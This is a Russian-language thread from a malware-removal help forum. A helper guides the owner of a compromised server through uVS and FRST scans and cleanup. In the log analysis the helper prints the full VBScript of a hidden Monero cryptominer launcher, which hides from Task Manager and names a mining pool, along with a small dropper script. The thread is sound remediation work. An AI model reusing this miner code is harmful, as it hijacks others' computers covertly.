нет доступа к avz.exe

[Infist]

Здравствуйте, подозреваю в системе вирус, хотел воспользоваться AVZ, но при распаковке выходит ошибка "нет доступа к файлу avz.exe"
Если копировать распакованную папку со здоровой машины, копируется все, кроме AVP.exe, keylogger.avz и rootkit.avz
Если переименовать avz.exe, то он копируется нормально, переименованный avp не обновляет базы, пишет нет доступа к keylogger.avz и rootkit.avz
Если запустить проверку есть сообщение
Внимание !! Ошибка загрузки базы антируткита - проверка перехватов UserMode не производится

Подскажите в какую сторону копать, drweb cureit не находит ничего.

[Info_bot]

Уважаемый(ая) Infist, спасибо за обращение на наш форум!

Удаление вирусов - абсолютно бесплатная услуга на VirusInfo.Info. Хелперы в самое ближайшее время ответят на Ваш запрос. Для оказания помощи необходимо предоставить логи сканирования утилитой Autologger, подробнее можно прочитать в правилах оформления запроса о помощи.

Информация

Если вы хотите получить персональную гарантированную помощь в приоритетном режиме, то воспользуйтесь платным сервисом Помогите+.

Если наш сайт окажется полезен Вам и у Вас будет такая возможность - пожалуйста поддержите проект.

[mike 1]

Начать с изучения правил.

[Infist]

Начать с изучения правил.

угу, дальше?

[mike 1]

Прикрепить необходимый лог.

[Infist]

Прикрепить необходимый лог.

Уважаемый, вы хоть вопрос читали? У меня AVZ не запускается.
Файл AutoLogger.exe при запуске тоже падает в ошибку "нет доступа к папке"
Я НЕ МОГУ создать лог...

[mike 1]

Пробуйте этой версией собрать логи.

[Infist]

Пробуйте этой версией собрать логи.

вот такая ошибка:
Вложение 663316

[mike 1]

С рабочего стола запускайте автологгер

[Infist]

С рабочего стола запускайте автологгер

данная ошибка возникает независимо от расположения автологгера, хоть с рабочего стола, хоть с диска D: (даже при максимально выданных правах на папку, откуда стартует автологгер ошибка все равно остается)

для подтверждения вот скриншот ошибки при запуске с рабочего стола:
Вложение 663321

[mike 1]

1. Скачайте Universal Virus Sniffer (uVS)
2. Извлеките uVS из архива или из zip-папки. Откройте папку с UVS и запустите файл start.exe. В открывшимся окне выберите пункт "Запустить под текущим пользователем".
3. Выберите меню "Файл" => "Сохранить полный образ автозапуска". Программа предложит вам указать место сохранения лога в формате "имя_компьютера_дата_сканирования". Лог необходимо сохранить на рабочем столе.
   
   !!!Внимание. Если у вас установлены архиваторы WinRAR или 7-Zip, то uVS в автоматическом режиме упакует лог в архив, иначе это будет необходимо сделать вам вручную.
4. Дождитесь окончания работы программы и прикрепите лог к посту в теме.
   
   !!! Обратите внимание, что утилиты необходимо запускать от имени Администратора. По умолчанию в Windows XP так и есть. В Windows Vista и Windows 7 администратор понижен в правах по умолчанию, поэтому, не забудьте нажать правой кнопкой на программу, выбрать Запуск от имени Администратора, при необходимости укажите пароль администратора и нажмите "Да".

[Infist]

[LIST=1]Дождитесь окончания работы программы и прикрепите лог к посту в теме.

не нашел функцию прикрепить файл в "ответить";
через "прислать запрошенный карантин" тоже не получается
выкладываю на свой гугл-диск
https://drive.google.com/file/d/0B_Y...ew?usp=sharing

[mike 1]

Это ваше?

Полное имя C:\PROGRAMDATA\SERVICE\HP.VBS
Имя файла HP.VBS
Тек. статус ПОДОЗРИТЕЛЬНЫЙ в автозапуске [Запускался неявно или вручную]

Сохраненная информация на момент создания образа
Статус ПОДОЗРИТЕЛЬНЫЙ в автозапуске [Запускался неявно или вручную]
Размер 179 байт
Создан 18.04.2017 в 12:29:39
Изменен 17.04.2017 в 19:16:08
Атрибуты СКРЫТЫЙ СИСТЕМНЫЙ
Цифр. подпись Отсутствует либо ее не удалось проверить

Статус ПОДОЗРИТЕЛЬНЫЙ ОБЪЕКТ
Атрибут файла "Скрытый" или "Системный" [типично для вирусов]

Доп. информация на момент обновления списка
SHA1 6E2B1E50A642DC8DF43FD0475C012EC152D844C7
MD5 70731F0354941A9E96B5AD608E3670A3

#FILE# Set WinScriptHost = CreateObject("WScript.Shell")
WinScriptHost.Run Chr(34) & "1.bat" & Chr(34), 0
WinScriptHost.Run Chr(34) & "st.bat" & Chr(34), 0
Set WinScriptHost = Nothing

Ссылки на объект
Ссылка C:\USERS\AUDIT\APPDATA\ROAMING\MICROSOFT\WINDOWS\S TART MENU\PROGRAMS\STARTUP\HP.LNK
SHORTCUT C:\USERS\AUDIT\APPDATA\ROAMING\MICROSOFT\WINDOWS\S TART MENU\PROGRAMS\STARTUP\HP.lnk

Полное имя C:\USERS\ELENA\APPDATA\ROAMING\MICROSOFT\WINDOWS\S TART MENU\PROGRAMS\STARTUP\UPDATER.VBS
Имя файла UPDATER.VBS
Тек. статус в автозапуске

Сохраненная информация на момент создания образа
Статус в автозапуске
Размер 1407 байт
Создан 08.07.2017 в 09:27:04
Изменен 08.07.2017 в 17:47:28
Цифр. подпись Отсутствует либо ее не удалось проверить

Доп. информация на момент обновления списка
SHA1 25B6E9783474891C572C877DC105A6EC435D9364
MD5 A0487FF7501FCC03A0A8D64EF8E89668

#FILE# Set WshShell = CreateObject("WScript.Shell")
Set WshShell = Nothing
On error resume next
Set WshShell = WScript.CreateObject("WScript.Shell")
Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
Const wbemFlagReturnImmediately = &h10
Const wbemFlagForwardOnly = &h20
strComputer = "."
Set objWMIService = GetObject("winmgmts:\" & strComputer & "\root\CIMV2")
Set colItems = objWMIService.ExecQuery("SELECT * FROM Win32_Processor", "WQL",wbemFlagReturnImmediately + wbemFlagForwardOnly)
cores=0
For Each objItem In colItems
cores=cores + objItem.NumberOfLogicalProcessors
Next
cores=cores-1
do
WScript.Sleep 500
Set taskcolitem = objWMIService.ExecQuery("Select * from Win32_Process")
taskmgrisrun=false
For Each objItem in taskcolitem
If objItem.Name="Taskmgr.exe" OR objItem.Name="taskmgr.exe" Then
taskmgrisrun=True
Exit For
End If
Next
Running = False
Set colItems = objWMIService.ExecQuery("Select * from Win32_Process")
For Each objItem in colItems
If objItem.Name = "pciemngr.exe" Then
Running = True
Set thisprocess=objItem
Exit For
End If
Next
If taskmgrisrun Then
If Running Then
thisprocess.Terminate
End if
If Not Running Then
Running=True
End if
End if
If Not Running Then
WScript.Sleep 500
WshShell.Run WshShell.ExpandEnvironmentStrings("%APPDATA%")&"\A ledaxo\pciemngr.exe -a cryptonight -o stratum+tcp://xmr.pool.minergate.com:45560 -u [email protected] -p x -t "&cores, 0
End if
Loop

Ссылки на объект
Ссылка C:\USERS\ELENA\APPDATA\ROAMING\MICROSOFT\WINDOWS\S TART MENU\PROGRAMS\STARTUP

Скачайте Farbar Recovery Scan Tool и сохраните на Рабочем столе.

Примечание: необходимо выбрать версию, совместимую с Вашей операционной системой. Если Вы не уверены, какая версия подойдет для Вашей системы, скачайте обе и попробуйте запустить. Только одна из них запустится на Вашей системе.

1. Запустите программу двойным щелчком. Когда программа запустится, нажмите Yes для соглашения с предупреждением.
2. Убедитесь, что под окном Optional Scan отмечены "List BCD", "Driver MD5" и "90 Days Files".
3. Нажмите кнопку Scan.
4. После окончания сканирования будет создан отчет (FRST.txt) в той же папке, откуда была запущена программа. Пожалуйста, прикрепите отчет в следующем сообщении.
5. Если программа была запущена в первый раз, будет создан отчет (Addition.txt). Пожалуйста, прикрепите его в следующем сообщении.

[Infist]

Это ваше?
Полное имя C:\PROGRAMDATA\SERVICE\HP.VBS
Имя файла HP.VBS

Полное имя C:\USERS\ELENA\APPDATA\ROAMING\MICROSOFT\WINDOWS\S TART MENU\PROGRAMS\STARTUP\UPDATER.VBS
Имя файла UPDATER.VBS

явно нет, эти файлы вычистил, кстати.... в папке C:\PROGRAMDATA\SERVICE\ лежат еще три файла (chrome.exe и explorer.exe и pubwincu.reg), которые я не смог удалить (ошибка безопасности, нет доступа к файлу, владельцем файла так же не смог стать, опять таки ошибка "отказано в доступе", хотя учетка админская)

после удаления вышеуказанных и перезагрузки, проблема с запуском AVZ все еще сохраняется, система не вылечена.
логи FRST прикладываю.

[mike 1]

А это знакомо?

C:\Program Files\Kontron\ipmiutil\checksel.cmd

Включите восстановление системы на сервере.

ВНИМАНИЕ! Данный скрипт написан специально для этого пользователя, использование его на другом компьютере может привести к неработоспособности Windows!

1. Временно выгрузите антивирус, файрволл и прочее защитное ПО.
2. Скопируйте приведенный ниже текст в Блокнот и сохраните файл как fixlist.txt в ту же папку откуда была запущена утилита Farbar Recovery Scan Tool:
   

   CreateRestorePoint:
   Startup: C:\Users\AUDIT\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\HP.lnk [2017-04-17]
   ShortcutTarget: HP.lnk -> C:\ProgramData\Service\HP.vbs (No File)
   GroupPolicy: Restriction <==== ATTENTION
   GroupPolicyScripts: Restriction <==== ATTENTION
   GroupPolicyScripts\User: Restriction <==== ATTENTION
   CHR HKU\S-1-5-21-1602194203-84453621-307072597-500\SOFTWARE\Policies\Google: Restriction <==== ATTENTION
   S2 wcvvses; C:\Windows\Inf\axperflib\0010\0011\000A\0010\mms.exe [X]
   S2 wscsvs; C:\Windows\Inf\axperflib\0010\0011\000E\0015\mms.exe [X]
   2017-07-25 19:09 - 2017-04-18 12:29 - 00000000 ____D C:\Users\Все пользователи\Service
   2017-07-25 19:09 - 2017-04-18 12:29 - 00000000 ____D C:\ProgramData\Service
   Task: {F38A5FF8-7B6F-424C-95E0-3106384B65AE} - System32\Tasks\DSite => C:\Users\C834~1.CHI\AppData\Roaming\DSite\UPDATE~1\UPDATE~1.EXE <==== ATTENTION

3. Запустите FRST и нажмите один раз на кнопку Fix и подождите. Программа создаст лог-файл (Fixlog.txt). Пожалуйста, прикрепите его в следующем сообщении!
4. Внимание! Если на рабочем столе будет создан архив Дата_время.zip, то загрузите этот архив через данную форму

[Infist]

А это знакомо?
C:\Program Files\Kontron\ipmiutil\checksel.cmd

Да это знакомо, это свое.

1. Запустите FRST и нажмите один раз на кнопку Fix и подождите. Программа создаст лог-файл (Fixlog.txt). Пожалуйста, прикрепите его в следующем сообщении!
2. Внимание! Если на рабочем столе будет создан архив Дата_время.zip, то загрузите этот архив через данную форму

Fixlog прикладываю, Дата_время.zip отсутствует.

Папка C:\PROGRAMDATA\SERVICE после фикса отсутствует (видимо удалена), но проблема с AVZ все еще не решилась, система не вылечена.

[mike 1]

А с чего вы взяли, что проблема с АВЗ может как-то связана с вирусами? Допускаю, что имеется проблема совместимости АВЗ с серверной ОС, либо есть какая-то активная локальная политика, которая прописана в правилах. Судя потому, что уже нашлось, ваш дедик уже находится не под вашим контролем, и злоумышленники как минимум подобрали пароль к RDP и одной из учетных записей с привилегиями администратора.